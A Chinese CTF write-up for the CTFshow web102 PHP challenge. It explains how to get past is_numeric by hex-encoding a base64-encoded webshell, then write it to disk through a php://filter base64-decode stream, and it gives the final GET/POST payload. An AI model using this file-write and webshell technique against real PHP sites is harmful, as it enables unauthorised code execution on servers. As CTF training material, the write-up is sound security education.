CTFshow web入门web102-php14

初始化界面:

 分析:

is_numeric() 用于检测是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。

如果字符串中含有一个e代表科学计数法,也可返回true。 substr($v2,2) 是相当于返回v2[2:]

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数 file_put_contents($v3,$str)是将$str的内容写入并保存为$v3(第一个参数是文件名,第二个参数是内容)

这里v2和v3都要是数字,substr取v2[2:],v2开头可以是00来作为开头,然后v1(v2[2:])。web100的时候说了等号优先级比and高,所以v4那里满足v2是数字即可保证v4为真

v2要保证能写shell,又要保证能为数字。

首先v2是shell,先整个 '<?=`tac *`;'然后想办法对其进行处理,直接hex的话有字母,我觉得不行。在之前对其base64之后,

3d是等号,解码的时候不是很严格

v2 = 504438395948526859794171594473

v1就要对其进行hex解码,用hex2bin(16进制转ascii字符,不是转2进制)

v3要对其进行base64解码,可以控制的协议流用base64解码写入文件

最终payload:(记得v2前面加个00):

GET:v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mumuzi.php

POST:v1=hex2bin
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值